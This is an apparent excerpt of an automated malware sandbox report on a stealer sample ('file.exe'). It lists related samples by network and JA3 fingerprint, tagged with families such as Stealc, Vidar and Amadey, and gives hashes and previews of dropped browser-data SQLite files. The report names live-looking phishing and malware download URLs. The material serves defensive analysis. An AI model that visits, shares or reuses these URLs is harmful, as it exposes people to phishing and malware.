AKAMAI-ASUS	https://drive.google.com/uc?export=download&id=1wbwVQjuH1HWwuDUlx8RyevjY45uih2Tz	Get hash	malicious	Unknown	Browse	23.47.168.24
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	2.16.202.123
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	2.19.126.160
	https://tracking.solutiondynamics.com/?cid=Watercare&src=Billing&eid=88632987&jid=90888&event=Mark2&dest=https://promising-sparkle-d7f0c0cfc9.media.strapiapp.com/tapped_in_winter_2024_a4a6bbe379.pdf	Get hash	malicious	Unknown	Browse	23.47.168.24
	https://xclengu.pages.dev/	Get hash	malicious	Unknown	Browse	92.123.12.145
	https://www.canva.com/design/DAGLxVDGbAs/6LEiPEltnSt5T8iX0Pb0Mg/edit?utm_content=DAGLxVDGbAs&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	Unknown	Browse	92.123.12.157
	Statement 98373.pdf	Get hash	malicious	HTMLPhisher	Browse	23.47.168.24
	Copy of AttackSim_Uer_Guide_v1.2.docx	Get hash	malicious	Lsass Dumper, Mimikatz, Phisher, Trickbot	Browse	23.32.185.164
	https://www.evernote.com/shard/s539/sh/5b2b3875-a079-ba80-97b6-2df9862d39c8/Cu1KZqOYC6OfBBaa5bHEASuBRDJet2fDkYPa8McDeUOmOUEfT5rEzGwPMg	Get hash	malicious	Unknown	Browse	23.39.185.22
	ECO BOX due invoices #474745.msg	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	2.19.126.160
AMAZON-02US	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	143.204.215.122
	https://drive.google.com/uc?export=download&id=1wbwVQjuH1HWwuDUlx8RyevjY45uih2Tz	Get hash	malicious	Unknown	Browse	3.160.156.17
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	13.32.99.33
	https://sdfvgbcvb668.weebly.com/	Get hash	malicious	Unknown	Browse	54.68.234.150
	http://datingsitefree.pages.dev/link-2	Get hash	malicious	Unknown	Browse	13.224.189.43
	https://copyright-policy-violations.vercel.app/	Get hash	malicious	Unknown	Browse	76.76.21.164
	https://copyright-policy-violations.vercel.app/	Get hash	malicious	Unknown	Browse	76.76.21.123
	https://shelled-childlike-trouble.glitch.me/public/nfcu703553.HTML	Get hash	malicious	HTMLPhisher	Browse	34.247.205.196
	https://flame-halved-fight.glitch.me/public/nfcu703553.HTML	Get hash	malicious	HTMLPhisher	Browse	34.247.205.196
	https://tracking.solutiondynamics.com/?cid=Watercare&src=Billing&eid=88632987&jid=90888&event=Mark2&dest=https://promising-sparkle-d7f0c0cfc9.media.strapiapp.com/tapped_in_winter_2024_a4a6bbe379.pdf	Get hash	malicious	Unknown	Browse	3.24.175.113
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	23.96.180.189
	https://forms.office.com/Pages/ResponsePage.aspx?id=1Q-W37eeFkOVQFk99a-XlFYn76Ck1HRGrw1irS-ELQ9URTlQNkZEQk9aR1UyU0ZYQzNDUjVRWk1YUi4u	Get hash	malicious	Unknown	Browse	13.107.21.237
	https://create.piktochart.com/embed/21719c931afb-view-document	Get hash	malicious	Unknown	Browse	20.49.124.158
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	52.109.28.47
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	52.109.68.129
	https://www.canva.com/design/DAGLxVDGbAs/6LEiPEltnSt5T8iX0Pb0Mg/edit?utm_content=DAGLxVDGbAs&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	Unknown	Browse	204.79.197.203
	Statement 98373.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	DRWG-347RB1.pd.xls	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://dyt55sgbb.cc.rs6.net/tn.jsp?f=001LafnV_35y5vxxYdgMh0VVridKKB9hdGQCYOkGu3DPRmFIWY1xxOEqNvF4_xNWq8tTpFdM0trBnUIO9IbcyCKIWJN_5LZAnfgfALmUWC0ELhTiTiaDgUBaAXprLvn9KTxZ8qdNMj8vdeeSpRq3mxK2dxZ9gcQZTGstzp8DI1RW5AQOz9-FGIf9w==&c=-aXMZplohV7yem3p6Pg5OY0i2MDsaZOPtZ7J6H3joGp1dpCEnBhqog==&ch=PnfUz2iH-gOwLOHWdXrUmMuA4B8Krz8O-1H-S9kqSeGI6ca29rY59A==	Get hash	malicious	Unknown	Browse	13.107.42.14
GES-ASRU	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.31
	x83kv6AWyn.exe	Get hash	malicious	Stealc, Vidar	Browse	85.28.47.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Collexus Knowledge Base Access.docx	Get hash	malicious	Unknown	Browse	40.68.123.157 20.190.159.4
	https://www.girisim.io/	Get hash	malicious	Unknown	Browse	40.68.123.157 20.190.159.4
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	40.68.123.157 20.190.159.4
	https://sdfvgbcvb668.weebly.com/	Get hash	malicious	Unknown	Browse	40.68.123.157 20.190.159.4
	https://app-min-bankid-no.codeanyapp.com/well-known/AHDY/populaire/password.html	Get hash	malicious	Unknown	Browse	40.68.123.157 20.190.159.4
	http://pub-c098a9df86b743fa91e4681b997ad763.r2.dev/doc_start.html?folder=oquwappyolbhdrb75vnt&ledge	Get hash	malicious	Greatness Phishing Kit, HTMLPhisher	Browse	40.68.123.157 20.190.159.4
	https://www.giveway-dana10jt.danaviz.biz.id/	Get hash	malicious	Unknown	Browse	40.68.123.157 20.190.159.4
	https://www.turkiyecumhuriyetiziraatbankasi.com/en/product-and-service-fees.html	Get hash	malicious	Unknown	Browse	40.68.123.157 20.190.159.4
	https://teiegrcam-hk.vip/	Get hash	malicious	Unknown	Browse	40.68.123.157 20.190.159.4
	http://datingsitefree.pages.dev/link-2	Get hash	malicious	Unknown	Browse	40.68.123.157 20.190.159.4
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.120.208.123 143.204.215.122

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	cLPbKg0oEK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	hOYGfIcBVf.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	x83kv6AWyn.exe	Get hash	malicious	Stealc, Vidar	Browse
	PdlzD56Vib.exe	Get hash	malicious	Stealc, Vidar	Browse
	TY3oxeY08f.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ggu0bxIMHV.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	cLPbKg0oEK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	hOYGfIcBVf.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	x83kv6AWyn.exe	Get hash	malicious	Stealc, Vidar	Browse
	PdlzD56Vib.exe	Get hash	malicious	Stealc, Vidar	Browse
	TY3oxeY08f.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ggu0bxIMHV.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CFCBFHJECAKEHIECGIEBAFIEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKFIDAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFCAKKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIIIECBGDHJJKFIDAKJDHJJKEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJEGIEHIJKKFIDHDGID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEHCFIDHIDGIDHJEHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JEBFIIIEHCFHJKFHDHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JECGIIIDAKJDHJKFHIEBFCGHCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.363788168458258
Encrypted:	false
SSDEEP:	12:ykaaD0JcaaD0JwQQJckaaD0JcaaD0JwQQJ:LtgJctgJwR9tgJctgJwR
MD5:	6DF8FD3BFD53B32120888BAA303B2C56
SHA1:	AD788C07AC433F41D6ACF0851B26AA9ECE1F7D21
SHA-256:	28E1293571D5E38A9D92842DE20E65162CC1843531B189F19A2FD57EC10BEA9B
SHA-512:	982066337645F835560321B21F728CDFDEC4733B0CEF8C2E8B3F5CE369198771CF82A2C6DE3A92247F726132C725E1369133CB5EB202B39491E5421314FFB53F
Malicious:	false
Preview:	*.>...........,.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................,.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3514633510750713
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrg:KooCEYhgYEL0In
MD5:	88CC46DA6DDAAA1C10DBA5DE0A34DD4E
SHA1:	DC66FBE7874F435FF6E622800BF115F3413E99CE
SHA-256:	24F7DB8EE9D2CAF56C6E2FC3E907BFF9DA81480D5A5072EE4E4A831B6A05D97F
SHA-512:	433CA94E516C3DC232679308C65CCD2CF15B62A239A3172B3B325C3943AB75C2B6062B91E5DA11F35EC632AF41BB00F40332E94B52E150B7B7FEB7E032A481A2
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x51f211ca, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4243558556111862
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/OvvMrSU0OrsJzvIYkr3g16T2UPkLk+ku624GEle624UszAkUkK:JazawvPVM2UPza
MD5:	99CFE55A47A8925FD3691B99BE605336
SHA1:	950A6434147FADF28EECA6C5AC3939EC48DB047D
SHA-256:	DC8C996C16CBDB1F99A618B216293D50748D0070309E57C9D637090D802403B9
SHA-512:	E22FE011C26B027711FB57E2D076BFFC13027EDBBC896582FB85CCCA958696F8EDB3F360B0401D0B416130F740820AB544FCFBBE88FBFA7F82A72F259559A7AC
Malicious:	false
Preview:	Q...... .......{.......X\...;...{......................@.+......)...\|g..'...\|..h.#......)...\|g.@.+.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{...................................o..)...\|g..................B.j.)...\|g..........................#......@.+.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07462885425663762
Encrypted:	false
SSDEEP:	3:fI//lOetYeC8ElTbtlyiYilA8y900J/ltmvCbtloll2lz6T/nlZP2+Zll:wtrzKlHlWyh1IlzIDP2+B
MD5:	715B8787F717D86936F6F78EB54FD9AB
SHA1:	4D16800B00F896E025A7BAD919BEFF82B394CCF5
SHA-256:	1AAB264AE1EE46D3C715DB950EEC45F8ED8AC6A8C3E50B49565E414930B8EC98
SHA-512:	4C42EFFA78630244C59C7E2E917008DB720595ABFDA29642D81A087E8EA4AD2408804C059624DE760DC0C5052D5D045C57DE669D0937944796680F2054609A02
Malicious:	false
Preview:	-.......................................;...{...'...\|...)...\|g..........)...\|...)...\|g.k..M.)...\|...................B.j.)...\|g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_1a87deddda.exe_4f98fa640d134e36aa4c8af2f46e591ab5eadc0_f695aea1_13468815-3ee8-44a3-aedd-0c2cd7402425\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9685897448000874
Encrypted:	false
SSDEEP:	192:1ZyGKn0dLP9j/XZrP2izuiFNZ24IO86A:jyGK0dLP9jtFzuiFNY4IO86A
MD5:	C0B377DD967D28F408AA09102ECAE795
SHA1:	B12DA1C96BDC9B45AD4AF4DAA83112D1031990C9
SHA-256:	9132D0595AA37B887D5BE5B3D278ACC76A849567F66A957BFE8721069A78B18F
SHA-512:	F7BAF7DC420349AD355F8EFE8C78AABB229D085A5181D40307E4FBA70ACE5163B93323E7A5E95678B69DDE5B80FFCD9D3C05DCE676869000E304300FCBD950F7
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.2.5.5.2.1.1.5.2.1.8.2.9.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.2.5.5.2.1.2.0.7.7.6.6.4.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.3.4.6.8.8.1.5.-.3.e.e.8.-.4.4.a.3.-.a.e.d.d.-.0.c.2.c.d.7.4.0.2.4.2.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.e.0.a.5.7.a.a.-.4.9.f.c.-.4.c.5.6.-.9.b.9.0.-.9.2.e.8.7.2.3.4.e.4.0.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.1.a.8.7.d.e.d.d.d.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.9.a.0.-.0.0.0.1.-.0.0.1.4.-.c.9.c.6.-.1.d.0.9.6.2.d.d.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.6.2.b.2.d.2.a.2.8.4.e.9.e.8.1.3.2.b.d.f.2.d.b.1.8.0.4.3.0.a.c.0.0.0.0.f.f.f.f.!.0.0.0.0.9.3.3.8.1.d.2.f.3.5.d.f.4.d.5.4.1.3.4.d.b.0.7.1.6.7.c.2.e.e.e.6.1.6.a.2.d.3.e.9.!.1.a.8.7.d.e.d.d.d.a...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_a4c558c1f438cf83fcbd12a4cf3bddd90359c86_864df792_91dac5fe-1eea-484e-ae9c-8b32e2f4a945\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1145432396578687
Encrypted:	false
SSDEEP:	192:gQnrhvDPlTtn0lmNbI3j/XZrP2fVU5zuiFNZ24IO8TVBa:tDN50lmNcjtKIzuiFNY4IO8Xa
MD5:	C9EBD452A819B61B1F37326037546930
SHA1:	FD615F8A5E281EB26FE0B097D1ED43BE48C36EE6
SHA-256:	B722D94227113C309118DD30F1F77C8DADE8F2F1316CB7ABB8D3628C87BC4637
SHA-512:	E90E7FA65E4E9AE21FC77B5B157699D60ACBBFF53616777CD33ABA5B671B0C1516E0FB74B533A81FBB3E45A613475AF721162F2806982DDC9D1EFFB15C0CE03C
Malicious:	true
